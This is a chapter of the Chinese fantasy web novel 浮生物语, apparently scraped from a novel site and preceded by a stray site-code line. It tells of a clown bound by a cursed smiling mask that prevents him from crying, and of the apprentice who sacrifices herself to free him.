$floatcFile = "/www/wwwroot/xin_floatAdc.txt"; 浮生物语(裟椤双树)_2【小丑】(2 / 2)_浮生物语最新章节免费阅读无弹窗_新笔趣阁

2【小丑】(2 / 2)

浮生物语 裟椤双树 0 字 2021-04-17

回到家,元芥赞他今天英俊,他哈哈笑,破例买了两包桂花糖给她。

“小师娘呢?”元芥故意朝他身后瞅。

本想敷衍这鬼灵精,可是,不给她讲实情,又能再讲给谁听呢?

他讲得太慢,直到月亮爬到另一边时才讲完。

元芥伸出手,触着他的心脏,问:“这里疼?”

“对。”他笑着点头。

“为什么不哭?”元芥歪着头,“我上次磕破膝盖都哭了一个时辰呢!”

“傻孩子。”他摸着她的脑袋,“花脸小丑怎么能哭呢,他存在的意义就是让看到他的人都开心。以前师父还不明白这个道理,今天才懂。”

“那家伙明明喜欢看你表演,跟你聊天,为何你卸妆之后,她就变成这样呢?”元芥瞪着眼睛,十分迷茫。

“等你跟师父差不多年纪的时候,你就明白了。有些人要的,只是一个花脸的,拼命逗趣,不断讨好,一直播上去就让他们开心的小丑,而卸妆之后平淡的脸,对他们毫无意义。”他笑道。

元芥皱着眉,道:“可师父卸妆之后也有一张很好看的脸嘛!”

“哈哈。再好看,也只是芸芸众生里的一张脸罢了。”他笑。

“你哭吧!”元芥摸了一个桂花糖塞-到他嘴里,“边吃糖边哭,就不那么难过了。”

“师父不会哭。”他拧了拧她的脸,“不管怎样,把笑脸留给别人,总比哭哭啼啼强。”

元芥想了想,低头吃糖,不说话了。

第二天,她独自跑去了芥子庙,老和尚在喝香喷喷的野菜粥。

“我师父说他不会哭。老和尚,他是不是得了怪病?”她把粥碗从老和尚手里夺下来,“大家这么熟,不许诓我!”

老和尚为难地看着她,想了想,说:“那不是病。”

“那是什么!”她扯他的胡子,然后满地打滚,“不说我就天天赖在这里,吃穿你!”

“行行,告诉你也无妨。”老和尚投降,“阿弥陀佛,真是一笑冤债。”

这天,天快黑的时候,元芥才从芥子庙出来,一路无精打采。直到走到家门口时,才突然抖擞精神,像往常一般蹦进门去。

师徒的表演,依然继续,集市上照样每天都有喝彩声。

不过,她很久没来了。

元芥的身\_体完全康复时,秋天的颜色已漫山遍野。这时,桃源里最热传的消息是,戏班那疯丫头真是祖坟冒青烟了,外出表演时,竟不知怎么的被端木将军看上了,已给她赎了身,带回将军府,恐怕不久就要成亲了呢。

没有油彩的脸,得是这样的,才是她中意的。他懂了。

他依然在热烈的笑声中扮演他的花脸小丑,摔倒又爬起,没有眼泪,只有笑容。

之后有一次,他与她在街上擦肩而过,仅仅就是擦肩而过,她甚至连余光都没有照应到他——她根本就记不住他本来的模样。

9

她摆弄着他的道具:“几年时间,小鬼头都长成大姑娘了。”

“我以为你认不出我了。”三无笑道。

“那晚你一走上台,我便认出来了。”她大概是太久没有笑过,莫名的悲哀之色深得刻进了脸上的每条纹理。

“还是花脸小丑让人记忆深刻。”他笑,“你来找我……”

“既见故人,便来叙叙旧。”她看着他铺散在梳妆台上的工具,半晌才道,“能替我也画一张笑脸么?”

他一愣。

她看着镜子中的自己:“太久没有笑过。”

他沉默片刻,起身拿起了画笔。

“他们都说我是患了怪病。”她说,“你不问我什么吗?”

他摇头,将食指轻劝竖在她的唇上。

一笔一笔,细细描绘,再悲苦的脸,也在油彩的掩盖下,变得喜气洋洋。

“真好。”她把脸凑得很近,指尖小心翼翼地扫抚着镜中的自己,“笑得十分有趣,看了就让人高兴。”

三无点头:“但这并不适合。你生来主不是做花脸小丑的人。”

他递给她一张面巾:“擦了吧,被人看到,会笑话堂堂的将军夫人。”

“多留一会儿。”她摇头。

他笑:“我记得从前你一笑,眼睛就弯成月牙。”

“是,他也这样说。”她叹气,“我们第一次遇见时,戏班刚在外地替一户做官的人家表演完,我偷闲出去玩,攀上人家的院墙去摘果子,被路过的他看到,说我偷摘果子的样子,实在太开心。起初我并不知他的来历,当他是萍水相逢的朋友,与他比爬树,比叉鱼,比骑马,将脸埋在水里比谁憋得久,志同道合,不亦乐乎。”

他听着,笑而不语。

“到他提出要将我赎出戏班时,我才知他是战功赫赫的大将军。”她垂下长长的睫毛,“其实,就算他只是一个一文不名的穷小子,我也愿意跟他走。没有什么理由。就是觉得与他在一起时的感觉,与任何人都不同。”

他点头,不多说什么。

“跟你讲这些,唐突了。”她又看了一眼镜子里自己的“笑脸”,“只是再见到你时,情不自禁就想起从前那引起岁月。你的表演,比那时又精进了太多。”

“混口饭吃并不太容易,尤其还要养徒弟,不下点工夫不行。元芥那孩子,太能吃了。”他哈哈一笑。

屋里的人在想着当年,屋外的人影一闪而过。

端木忍闷声不响地往外走,心口上的疼痛,火一样蹿起来。

原来她与那三无,早就相识。

当晚的表演,在场的人照例笑得东倒西歪,端木忍牵强挤出点笑容,目光一直在她与三无间游离。

心口上的痛有增无减,他得费尽全力稳住心神,才能保有自己若无其事看完这场表演。

夜里,他辗转难眠,起身倒水喝。走过卧房的梳妆台时,手中的茶杯差点摔下来——镜子里的他,又成了一片诡影。

10

“师父,还要留多久呀?今天都七天了。”元芥一大早就跑到三无房里,将他自被窝里闹起来,“我看将军夫人是笑不出来了,虽然将军府好吃好住,久了也不自在呢。”

“第七天了呀?”三无打了个呵欠,看着窗外明媚的阳光,起身从箱子里拿出一个沉甸甸的包袱,交给元芥,“这些是师父这些年攒下来的全部银两,你拿走,到芥子庙等我。”

元芥抱着银子,摸摸他的额头:“平白无故喊我去芥子庙做什么?昨晚那管家不是才来通知,今晚将军设宴款待远客,要我们做准备表演么?”

“我没忘。不过今天师父一个人上场就够了。”他把她歪戴的毡帽扶正,“你不也常叨叨着去探望老和尚么?反正芥子庙就在桃源郊外,你顺道回去添个香油,问个好吧。”

元芥想了想,道:“那,我去看了老和尚就回来。”

“不,就在芥子庙等我。”

“为什么不等表演完,我们一起去?”

“啰嗦,快去收拾!”

她迟疑着朝门口走,脸色并不好看,但当她回头时,又是一脸没心没肺的笑:“喂,这银子真是全部积蓄?没私吞?”

“当然。”三元哭笑不得,“你想拿去全部买桂花都可以。”

她笑:“我会留着买地养猪的,徒弟不会为了桂花糖埋没师徒的理想。”

她的身影要离开之前,三元喊住她:“元芥。”

她又回头,大眼睛里盛着明亮的晨光。

他张了张口,又笑着摆摆手:“去吧去吧。”

11

今夜并没有远客,全部观众只有端木忍夫妇。偌大的宴厅中,连把酒的侍女都没有。

三无的表演,依然精彩,明亮的灯光落在他五颜六色的脸上,出奇的绚丽。

端木忍时不进地高声叫好,比任何时候都高兴似的。

谢筱青不审往常那样,不笑,但专注地看着三无的每个动作,眼底里沉淀已久的灰色只在这个时候才会淡去一些。

室外已是银月高挂,夜阑人静,而表演仍在继续。

他从空空的盒子中变出一只雪白的鸽子,振翅朝端木忍夫妇飞去。

本应是鲜花与喝彩的时刻,谁料那白鸽子却被凌空断了翅膀,鲜血洒出,扑棱着残躯掉在了桌上,撞翻了杯碗。

谢筱青惊得捂住嘴,呆看着身边的夫君。

尚还温热的鸽血沾在雪亮的刀刃上,端木忍紧握着他的佩刀,一步步朝三无走过去。

“三无师傅,本以为你是我的福星,是让我夫人重展笑颜的希望。”他的刀,架到三无的脖子上,“可万没想到,你才是那个让我与她都笑不出来的人。”

谢筱青扑上来,死死拉住他的胳膊:“不不,不是那样!你放下刀!”

“怕我杀了你的旧相好?”端木忍的脸因为愤怒而扬曲成了怪物,所有的英明神武彬彬有礼在他身上彻底消失,她越是开口哀求,他的理智丧失的越快,竟猛一下将她推得重摔在地,“我离开的这一年,你也他究竟干出什么好事?竟让你对我三年不露笑脸!”

一道淡淡的红光,在他心口处缓缓旋转,穿透了衣裳,越来越明显。

“没有!我与他什么事也没有!”她哭出声,想拼命辩白,声音却在喉咙里发颤,怎么也说不出来下文。

端木忍的双眼几乎喷出火来:“我待你不薄,你却负我至此!”

趁他分神的刹那,三无从他的刀下闪开,一把拉起谢筱青,拖到自己身后,脸上竟还笑得出来:“你讲再多,此刻的他也是听不进的。”

见他如此护住自己的妻子,端木忍的身\_体开始剧烈地颤-抖,心口的红光竟真的化成了一道诡异的青红火焰,迅速爬遍了他的整个身\_体,乍眼看去,仿佛一个在地狱里沉浮的恶魔。

谢筱青惊得说不出话来。

“竟是这样……”三无讶异片刻,压低声音道,“我拖住他,你速速逃出去!”

话音未落,那同样烧起来的大刀已朝他头上劈来,火焰经过的地方,都留下一道苍白的灰烬,像悬在空气中的伤口,转眼四散飞开,如乱雪纷飞。

他险险避过,翻身将呆若木鸡的谢筱青朝门口一推:“走!”

她的速度,哪里能敌过身手矫健的端木忍,还没起身,那刀尖已朝她刺去。

刀尖之后,端木忍的脸上挂着怪异之极的笑容,那个文武全才知书识礼的大将军被他自己活活撕碎,剩下的,只有说不尽的,要置人于死地的疯狂。

三无飞身上去,将他撞了个趔趄。胳膊火辣辣地疼,他一看,衣袖竟被灼出一个洞来,大大不妙。

“闪开一旁!”

关键时刻,传一声厉喝,竟是老和尚从门外冲了进来,一根桃树枝被他甩出去,刚打在端木忍头上,只听那家伙大叫一声,身上的怪火瞬间弱了下去。

“帮你灭火!”混乱中,元芥抓着一大把桃枝冲过来,一股脑儿朝端木忍身上扔去。

端木忍的身上顿时冒起白烟,连握刀的力气也没了,乱颤着倒在地上,不断抽搐,身\_体渐渐恢复到寻常模样。

三无看这从天而降的一老一少:“你们俩这是……”

“这些桃枝也挡不了这煞星多久。”老和尚一挥手,看了看外头,“进来时我已沿途洒下瞌睡粉,府里的其他人不到天亮不会醒来。你知道该如何做的。尽快吧。”

谢筱青已完全混乱,见端木忍奄奄一息倒在地上,不顾一切扑上去,将他抱在怀中哭着唤他的名字。

他渐渐清醒过来,眼睛里依然涨满红红的血丝,虚弱地问:“筱青,我究竟是哪里不对,你厌我至此!”

“没有!我没有!”她只拼命摇头。

他咬牙:“三年哪,我无一夜能安睡……你的笑容,去了哪里!”

元芥看得皱眉,老和尚直摇头。

三无走到端木忍面前,蹲下来,直视着他愤怒又不解的眼睛,说:“她的笑容,在你的身\_体里。”

“你在胡说八道什么?”端木忍咬牙切齿。

良久,他缓缓道:“三年前夜狼谷一战,敌人的飞箭,穿透了你的心口。那箭头上,还淬了无药可解的剧毒。”他顿了顿,“你三年前便战死沙场了。”

他的话,不啻惊雷,令端木忍与谢筱青仿佛被毒蛇咬了一般,脸色骤变。

12

这里的风沙太大了。

他走在夜狼谷里,踩在一条条尚未干涸的血河上,小心越过无数尸体,时不时按一按心口——那里的暗袋中,藏了个小瓶,瓶里,装着一个女-人一生一世的笑容。太珍贵,可不能丢了。

那个人,就躺在那里,跟他死去的士兵们一道,被风沙渐渐遮盖了本来面目,心口上,插着一支颜色乌黑的箭,早就僵硬的手,还紧紧握着他的佩刀。

他拂开这具尸体脸上的沙土,从怀中掏出那个瓶子,瓶子里流动的,是一张女-人的笑脸,似由无数光彩曼妙的星子所组成,在瓶里旋转变化,组成另一番美妙世界。

拨开那冰凉的嘴唇,他将瓶口抵在其中,笑道:“她说,愿用一世笑容,换你平安归来。可是,你也只有三年时光。今天我做下这样的事情,将来有何因果,我也不知。三年之后再见吧。”

空了的瓶子被扔在一旁,很快便随着大风,滚得不知去向。

端木忍慢慢睁开了眼睛,当他完全看清楚这个世界时,心脏却不禁猛地一缩,敌军首领那一箭射入心口的一幕,至今清晰。

他慌忙坐起,拉开衣裳一看,心口处只得一个淡淡红印,何来箭伤?

中箭,只是一场幻觉?

他发了很久的呆,才跌跌撞撞从尸堆中走出来。不管是不是幻觉,他还活着,他可以活着回到桃源去见她。他答应过,待这次出征归来,便娶她过门。他终究没有食言,被困夜狼谷整一个月,前有大敌,后无援军,他以为回不去了,不曾想到,上天竟如此厚待。

三天前。

她又拎着一堆香烛供果,到桃花河畔祭拜。

附近的人都认识她,那是端木将军的未婚妻,难为她一连十天,天天来这里祭拜,恳求桃花河中的笑面仙子显灵,保佑端木将军平安归来。

很早之前,他的军队出兵夜狼谷后,便再没消息传回。

无计可施的她找无数相士来占卦,每个都说大凶,有去无回。

她夜夜噩梦,梦见他被一箭穿心,落入无底深渊。

将军府中即将退休的老厨娘,见她日渐憔悴,于心不忍,在离开将军夜前,悄悄对她讲,传闻桃花河中有个笑面仙子,其实并非谣传,她年轻时,有位邻家姐妹,真在河畔边遇见了那位戴着笑脸面具的神仙,她求神仙让她摔瘸腿的父亲早日康复,真的灵了!第二天她爹就能下地走路。不过怪的是,此后这位姐妹都没有笑过。

笑面仙子的传说,她不是没有听过,但从来不信。可走投无数的人,总是拼命抓稻草,不管那是不是能救命。

打这之后,她带着供品,每晚都去桃花河畔祭拜,求笑面仙子保佑她的夫君平安归来。一连十天,她从夜里跪到天明,旁人都当她是疯魔了。

直到第十天的凌晨,天快破晓时,有人自桃林中走来,轻轻扶起了她。

她惊愕回头,却看到一张木制的笑脸面具,古朴的褐色,泛着神秘莫测的幽暗光芒,面具后的人,一袭青衫,跟身后那条河水几乎一样颜色。

“您……是笑面仙子?”她紧紧抓紧-了对方的手臂,生怕一松手他就不见了。

“是。”

“求您,让端木大哥平安归来!他们都说他会死在夜狼谷!”她哭求道。

“能救他的并不是我,是你。”那笑面仙子淡淡道,“我问你,人活着,最宝贵的是什么?”

她擦了擦眼泪,不假思索道:“笑容,快乐……”

“若要你用一生一世的笑容,换他平安归来,你可愿意?”笑面仙子问。

“愿意!只要他能回来!”她脱口而出。

“此言一出,不可反悔。”那笑脸面具后的澄亮眼睛,比方才暗淡些许,“你要仔细想清楚。”

她跪下:“求神仙成全!”

然后,她所记得的,就是在天将破晓的前夕,那个笑面仙子,将手掌自她的脸孔上轻劝抹过,似是抓起了什么东西,放进了一个小小的,透明的瓶中。

莫名的悲哀,从她心底最深处袭来,久久盘旋,不再褪去。

他走出桃林,脸上的面具,迎着微露的晨曦,像散开露珠一般隐进他的身\_体。面具后的脸,笑得如沐春风。

这永远在笑的面具,长在他的心里。

三天之后,京师传来消息——夜狼谷一战,敌军全军覆没,我军虽也损失惨重,幸端木将军大难不死,顺利回朝。

多让人惊喜的消息。但她发现,自己笑不出来了,本该欢乐至极的心情,却仍被莫名的哀愁纠缠。那感觉,仿佛被人扼住了咽喉,一口气被死死锁住,不得释放。明明想笑,却越发悲哀。

那一生一世笑容,换他平安归来……她怔在窗前。

13

三无不疾不徐地讲完,道:“这些,你们都记起来了吧?”

端木忍微张着嘴,眼睛里的血丝慢慢消减而去。

他呆滞的目光从元芥、老和尚、三无身上一一掠过,最后停在谢筱青脸上,缓缓道:“原来,那支刺中我心口的毒箭,不是幻觉啊……这三年,竟是我偷回来的吗?”

他笑,越来越大声。

道士说,府里有妖孽,原来不是说她,说的是自己啊!一个已经死去,却偏以尖人模样从地狱走回来的怪物。难怪,铜镜里竟照出那样的影子。

“筱青,你怎么能答应那样的事呢!”他伸出手,抚摸着妻子苍白如纸的脸,“一生一世的笑容,换回这样一个我。还为那毫无根据的猜忌,差点要了你的命!三年,我一直以为是你的问题,从来没有想到过,害你‘生病’的人竟是我!”

“再让我挑一次,我还是会答应笑面仙子。”她的眼泪顺着他的手指滑下来,“但我会求他,再多给我三年。”

他笑,眼中残留的光彩,渐渐暗去,喃喃道:“筱青,你知道么……我从来都不想上战场。当个石匠,未必不好。”

一语说罢,他的的滑落下来,重重磕在地上。

谢筱青瘫坐在他的尸体旁,不哭不说话,只死死拉着他渐渐僵硬的手,捂在自己的怀-里,直到身心彻底崩溃,再支撑不住,终是昏死过去。

“当初,我也让你想清楚的。”老和尚摇摇头,看了看三无,“是你自己选择去桃花河。我清楚告诉过你这样做的后果。就算有她一生笑容,也只能换已死之人三年时间。而且三年一到,谁都不知这不生不死的怪物会发生什么,也许伏地而亡,也许会有更危险的变故,就像刚才,若不是我知桃枝能镇邪,你们一个个早被这失去本性的家伙砍成肉酱了。还有那女-子,交出一生笑容就意味着一生悲苦,不管他人做什么,她都感受不到任何欢乐。而且她还不能对任何人讲现事件原委,不是她不想,是因为她根本讲不出来,做了这样的交易,只要她一提起半个字,喉咙就会有如火烧,有苦不能言。这个,我也告诉过你。”

“对,这些你都告诉过我。我知道这么做,并非好事。可我就是不能对她的要求,视而不见。我也犹豫过三年之后要不要回来,不如狠一狠心,当作公平交易,再无瓜葛,可,终是丢不下。”

满室悲寂,可三无抬起来的脸,依然笑容如故,仿佛根本不知悲恸为何物。

“师父,”元芥走到他身边,“想笑而汉有笑,与想哭而不能哭,究竟哪个更痛苦?”

这一瞬间,她突然像个大人了。

三无愣了愣,一时竟答不出来。

“我觉得,可能后者更难过。”元芥摸了一颗桂花糖含在嘴里,“师父,这笑面仙子,你还是让别人来做吧。”

“元芥,你什么时候知道的?”三无突然反应过来,诧异地问她。

“天界曾有位无目神,专司刑罚。她有件刑具,名曰‘笑面’,天界中若有哪位神仙犯了情戒,就会被罚戴上这个木雕的笑脸面具,一旦戴上,刑期不到,这面具是摘不下来的。因为它是戴在受罚者的心里,有它在,受罚者纵然遇上再悲恸的事,也流不出一滴眼泪,不但不能哭,还会永远面带笑容。这各痛苦,实难言表。”她年喜新厌旧三无,继续道,“无目神寂灭后,有人偷走了这笑面,却没想到半路遗失,令这笑面从天河落下凡尘,掉进一条河里,天长日久,便成了精怪,还修成人形,做了个翩翩公子。这个只会笑不会哭的妖怪,因为无聊,便扮成笑面仙子,用妖力将人类的笑容取来,将笑容转为奇特的力量,替他们实现各种愿望。他的行为,被一班道士发现,自然不肯放过他。他虽是妖怪,却并不擅长与人打斗,被打到重伤,拼着最后一口力气逃进一座小庙。在佛堂,他遇到了一块被用作扫把柄的木头。”

三无倒吸了一口凉气,看向老和尚。

“阿弥陀佛,元芥还很小的时候,我就讲给她听了。”老和尚双手合十,“不说实话,这小魔星会拔光我的胡须。”

“老秃驴还跟你讲了什么?”三无抓住元芥问。

如果她什么都知道,为何这么久了,对他的态度毫无任何改变!

“当然还讲了很多,比如……”她踮起脚,把嘴凑近他的耳朵,“比如,如何让你哭出来。”

他一惊,旋即只觉天旋地转,眼前的一切都变成了扭曲的漩涡,端木忍的尸体与悲伤的谢筱青,拽着佛珠的老和尚,还有嘴里飘荡桂花糖的元芥,离他越来越远……

元芥放下手,一把桃木制成的匕首,深深刺入三无的胸膛,木色匕首,转眼便成了红色。

他捂着心口,倒退几步,笑容凝在脸上,死了般僵立在原地。一道琥珀色的光晕,从匕首下旋绕而出,竟在他胸前汇集成了一个笑脸面具的模样,从透明到实化,被这般光晕牵连着,微微摇动。

“元芥!”老和尚突然喊道,“你可想仔细了!”

她转过头,笑:“不是早就说好了么!你口里的小魔星这么爱笑,有谁比她更合适当笑面仙子?”

说罢,她朝那面具迎上去,伸出手,深吸了口气,紧-紧-抱-住了三无。

有些话,永远讲不出品;有些眼泪,永远流不出来。

你将我自死神手中抢回来,现在,由我将你的眼泪抢回来。

我从来都不对你哭,从来都让你以为我很快乐,那是因为世上没有人比我更了解,你永不褪去的笑容,都是流不出来的眼泪。

我不想让你更难过,而已。

14

三无醒来的时候,老和尚正在芥子庙的前院扫地。

他从床-上跳下来,却冷不丁被对面桌上的破镜子吓了一跳——镜子里的那满面诧异的男人,哪里是他,分明是端木忍。

他用力捏自己的脸,确认这不是做梦。

芥子庙里,一如往常的冷清,只有老和尚挥舞的扫把在发出刷刷的声音。

“你玩什么把戏?”三无跑出来,一把抢过老和尚的扫把。

“醒啦?”老和尚拍拍他的肩膀,“不错不错,这身\_体简直太合适你了,比本来的你还好呢!”

“筱青呢!”三无打开他的手,焦急不已。

“在禅房里睡着。没事,伤心过头,晕了罢了。”老和尚道。

他松了口气:“元芥跑哪里去了?”

“昨晚就走了。”老和尚扫把抢回来,“把你们攒下来的所有银两都带走了,说要自己去买块地,一半用来养猪,一半拿来开赌坊,还让你千万别去找她。”

三无一愣。

“她说,你既然成了端木忍,就再不用扮小丑赚钱了,何况还有个小师娘要照顾,这师徒缘分吧,尽了。”老和尚别有深意地笑笑,“这孩子着实有趣。”

缘分尽了?

以后,再也听不到有人喊师父,也再没有人吵着要吃桂花糖了,就是这样吧?!

说来多简单,可是,为何心里像被抽走了一块,隐隐地疼呢?

三无突然觉得眼眶有些发热,用手一摸,指尖竟沾着一丝泪水。

他被狠狠吓了一跳,抓住老和尚问:“怎会这样?”

“那长在你心里,让你只能笑不能哭的‘笑面’,已经没有了。你现在,几乎是个普通人了。”老和尚笑,“还记得当年你还是一块扫把柄的时候,我在佛堂里跟你讲过的话么?”

“有得必有失。”他答。

“那时的我知道打不过那些道士,又不想被他们收了去,所以索性将笑面从我身\_体中抽离出来,附到你这块木头上。而你作为笑面的替生者,也就是替它而生的意思,便能就此摆脱原貌,一夜之间得成人形,不但如此,还能拥有笑面的妖力,用人类的笑容实现许多事情。但代价是,替生者永远不会有泪水,再悲伤也只能笑。这引起事,我不是早在你成人形的时候就讲给你听过么?”老和尚白他一眼。

“可你从来没有跟我讲过,为什么你又会变成老和尚,而我为什么会变成端木忍!”三无急道。

“谁让你来芥子庙的时间那么少,变成人之后的头十年,你整天在外到处跑,还喜欢上了变戏法跟扮小丑,说这比扫地念经有趣,我想跟你多些时间聊天也不行。”老和尚哼了一声,“当时选择将笑面抽离,这意味着我这个人形不出片刻就会消失,包括全部意识与记忆。但偏巧那时,禅房里躺了一个断气不久的老和尚,有这样一个躯壳,正好将我的意识,也就是所谓的灵魂驻进去。由此之后,我虽没了笑面的妖力,却有了新的容身之处,但缺点是,我得永远住在这个再不会有任何变化的老和尚体-内,以这样的姿态活下去。而你,则作为笑面的替生者,拥有了另外一个人形与崭新的灵魂。同理,当有新的替生者出现时,你体仙的笑面会转到对方身上,而你本来的灵魂,则驻进了端木忍的体-内。啊,真是不公平啊,为什么你就能遇到这么英俊年轻的躯壳,而我就要当老和尚呢!”老和尚哀叹。

三无沉默半晌,突然问:“不对!当时在场的,活着的只有四个人,哪来的替生者!还有,为什么是那个时候?我并没有要求你们做这样的事!”

“笑面的替生,只能是木头。”老和尚显然被他弄得没了耐心,“这是元芥的意思。这孩子早就希望能将你从这样的宿命里解脱出来。我被她磨得没有办法,只好亲自出去替你找替生者,你要知道,也并不是随便一块木头就成能事,总得要有缘分有灵性的才行。我找了好久才找到呢。当然,我们瞒着你。”

三无低头看着自己崭新的“身\_体”,道:“你们早知三年之后,端木忍会变成一具尸体,所以你们一直在等这一天,一来用你们的木头做新的替生,二来将我分离出来的意识放到端木忍的身\_体里保存?”

“两全其美不是?三年前你来找我,要我想办法得知端木忍是否平安,我以仅剩的妖力起卦占卜,知此人已亡。你说你决定用笑面的娇力帮谢筱青时,元芥就躲在禅房外头。你偷偷关心着谢筱青,这孩子偷偷关心着你,真是一对好师徒。”老和尚道,“但我告诉你,你,我们还可帮一帮,但你的筱青,失去的东西永远拿不回来。经过这样的打击,她就算醒来,恐怕神智也会与这前不同。你要有这样的准备。”

“我会照看她。”三无的眼神坚如磐石。

“可见你是真喜欢她。”老和尚埋头继续扫地。

三无皱眉:“你跟元芥,竟背着我谋划了这么多事!”

“那孩子聪明。”老和尚呵呵笑,“年纪小,生如微芥,为人做事却是想不到的潇洒利落。你们的缘分这么短,连我都觉得可惜。”

三无攥了攥拳头,再不讲一句话。

15

翌日,三无带着谢筱青离开了芥子庙。

如老和尚所言,谢筱青醒来之后,变得有些痴傻,连身边的“端木忍”,也不太认得出,只是反复说,要看花脸小丑。

“微如芥子,也成世界。谁施谁受,未如眼见。二位施主慢走,阿弥陀佛。”老和尚捏着他的佛珠,站在庙门口。

这时,他的身后,探出个小木头人的脑袋,一尺来高,圆圆大眼,嘴角上翘,十分逗人喜爱。

木人直望着三无与谢筱青的背影,直到再看不见了为止。

老和尚在门槛上坐下来,问:“讲这样的谎话,他早晚会识破吧。”

“不会。”木人慢吞吞翻过门槛,也坐下来,“到现在为止,他都只看到我的一面,并且认定那就是全部的我。就好比观众们永远只看到小丑在台上的欢乐,根本不会在意卸妆之后的他们。对于我的谎话,他不会起疑。他会永远这样想,那个能吃爱笑没烦恼的徒弟,是绝对不会亏待自己的,肯定过着有田有猪的好日子。”

“你是要我称你一句伟大么?”老和尚看了木人一眼,“笑面只有两次替生的机会,一次为木,一次为人。以木为替生者,木可成人,以人为替生者,人则成木。你……”

“我知道我一辈子都只能当木头人。”木人咧嘴而笑,“老和尚,你会收留我的吧?我这样子,说不定会被老鼠啃掉的。”

老和尚援着胡子:“你可知为休这么多年来,我都不离开芥子庙,甘心做个和尚?”

“因为你的头永远是光的。”木人嘎嘎直笑。

“呸!”老和尚恨它一眼,“自天界堕下凡尘,从一张面具修成精怪,我自以为已洞悉世间万物,人情世故,可到头来还是一塌糊涂。当初若非我一时私心,让三无做了替生,这后来的种种,自然也就没有了……阿弥陀佛,可见我还是修行浅薄,既披上了和尚皮,不如就此安心于小庙,一片清净世界。”

“清净不了,我还在这小庙里呢!”木头人跳到他的膝盖上,扯他的胡子,“我陪你说话,你买桂花糖给我吃。啊,对了,我已经不能吃东西了……”

老和尚长叹一声,把木人-搂-在怀中,走进庙里。山风乍起,黄叶飞舞,眼见这秋天又要尽了。

不久,桃源县又有了新闻。端木将军辞了官,带着他得了怪病的夫人去了乡间居住。听说,她之前只是不会笑,现在还变得有些傻气。只是端木将军不仅不嫌弃,还亲自将自己扮成花脸小丑,逗她开心。这女-人,真是让人羡慕。

至于芥子庙,还是老样子,没什么香火,连供果都要老和尚自己出去采。

不过,有些去过芥子庙的人回来说,那里的老和尚有怪癖,喜欢跟一个雕成女娃模样的木头人说话。

16

故事到这里,也就讲完了。

当然不是那木娃娃讲的,而对面椅子上,那个穿着鲜艳的夏威夷衬衫,还带着很潮的墨镜的老光头讲的。

在这木娃娃来到不停之后没多久,他便气喘呈呈地追了进来。

“你不当和尚了么?”我笑问。

“芥子庙还在呢,不过我是不能留在那儿了。不然被知道芥子庙的老和尚活了上千岁还不死,多不好。”老光头将木娃娃抱在怀-里,“这孩子还是改不了乱跑的毛病,没想到这次居然跑到你的店里来。”

我看着他怀-里那个小人儿:“她跟你之前的描述,并不太一样!”

“当初我扮笑面仙子,获取人类的笑容替他们完成愿望,看起来受益者是人类,其实在运用笑面妖力的同时,也会让我自身的修为越来越高,若让我再多当个几十年的笑面仙子,那些道士哪里是我的对手!”老光头低头看看他的木娃娃,“可这孩子,千年来拒绝使用任何笑面的妖力,这就好比一个机器,千年都不开动,自然就锈蚀了。她属于人类的灵性已已肖耗殆尽,现在她的智慧,比一岁的孩子高不到哪里。最近这些年,我带着她四处游走,无非也是在寻求一个保住她的法子。我从不少妖怪那里听到你的不停,觉得有意识,就带着这孩子来寻你了。我对这里不熟,正找路进,这孩子顽皮,趁我大意时竟自己偷跑了。没想到它竟撞进你的店里,这么看也是有缘。你看你能否……”

“找我帮忙的,个个都说与我有缘。”我打断他,喝了一口茶,“三无有去找过徒弟么?照你所说,三无的灵魂所寄居的端木忍,应与你一样,还活在这世上。”

“不知。他夫人去世之后,便没有人再见过他了。也没有再回来芥子庙。”老光头摇摇头,喝了一口茶,苦得他伸出了舌-头,再不敢喝第二口。

“喝茶也是修行。第一口苦,就认定整杯茶都苦,于是再不肯尝第二口。”我笑道,“因为这样的误会,错失多少好风景。”

老光头一愣,想了想,终是鼓起勇气又喝了一口,咂咂嘴,眉头一松:“咦,甜的……”

“咱们店里还有空房间,不嫌弃的话在这里住个两三天,或者能有转机。”我起身离开,“住宿费不打折,离店结清,不赊不欠。”

17

偏远的乡村,稻田片片,水牛甩着尾巴从河里爬上来。

那身形高大的男人,戴着草帽,扛着锄头入他那简朴的乡间小屋走。屋后,是他亲手修起来的猪圈,白花花的大猪小猪在里头钻来钻去,哼哼唧唧地吵闹着。

他正要开门,目光却落在一旁的窗台上——一个穿着花布裙的木娃娃,瞪着大眼睛,红红的小嘴喜庆地上翘着,十分可爱地坐在那里。

他奇怪地四下看看,又盯着那木娃娃许久,笑了笑,自言自语道:“是谁将你丢在这里的?真可怜。”

说罢,他将木娃娃抱到怀-里,进了家门。

有的记忆实在是太遥远了,很多很多年前,他也像这样,拣了一个小娃娃回家,不过那是个有血有肉的真娃娃,而且,那天在下雪。

远处的田埂上,站着三个人。

“就这样交给他,合适?”老光头不是很放心地问我。

“我们能做的,只有这样了。”我淡淡道,“如果有一天,这个笨男人能看到木娃娃的另一面,或许还能有奇迹。”

“嗯?”老光头不是很明白的样子。

“会欣赏小丑笑容的人太多,可只有看到它眼泪的才有爱它的资格。这道理,男女之间如是,父子之间如是,朋友之间如是。只看到一面便认定是全部的人,总会弄丢许多东西。”我看他那光光的脑袋,“切!跟一个老和尚讲这些干吗!不懂就算了。”

我转身离开。这乡下的风景很好,空气也舒服,很适合生活,或者重逢。

九厥在我身后,追着老光头聒噪:“这个你必须加钱!你要知道委托那些贪得无厌的虫人去寻找一个失踪近千年的半妖怪,是多难多费钱的一件事!老板娘自己不给钱,让我倒贴!关我什么事呢?我一不是不停的员工,二不是她老公!”

“阿弥陀佛,出家人四大皆空,等付过了住宿费,我大约只剩两块五毛钱了。”

“……”

尾声

气死了气死了!老光头居然偷跑了!一毛住宿费都没给!

但几天后,我收到了一个快递,一个大盒子。

打开,是个小丑玩偶,画着逗人的大花脸,只是眼角那里,粘着一颗闪闪发光的眼泪。

我再一细看,这颗眼泪竟是纯金打造的。

我这才转怒为喜,虽然这金子小了点,但胜在精致。

此时我唯一庆幸的,是无目神的“笑面”只有那一张。但转念一想,真的只有一张么?

这世上画着花脸,戴着各种面具的小丑,真的只存在于马戏团,以及商店的橱窗里吗?

我知道不是。

如果,那并不是一张摘不下来的面具,不是一层擦不掉的油彩,不如卸下吧。露出干净真实的脸,你才会看清楚,那些真正愿意朝你走来的人是谁。

如果,你正被一个有趣的小丑逗得哈哈大笑,欢乐之余,也请记住,小丑也会哭,只是你看不见。

我把这个小丑摆在了不停的窗台上,阳光刚好照着它的花衣裳。

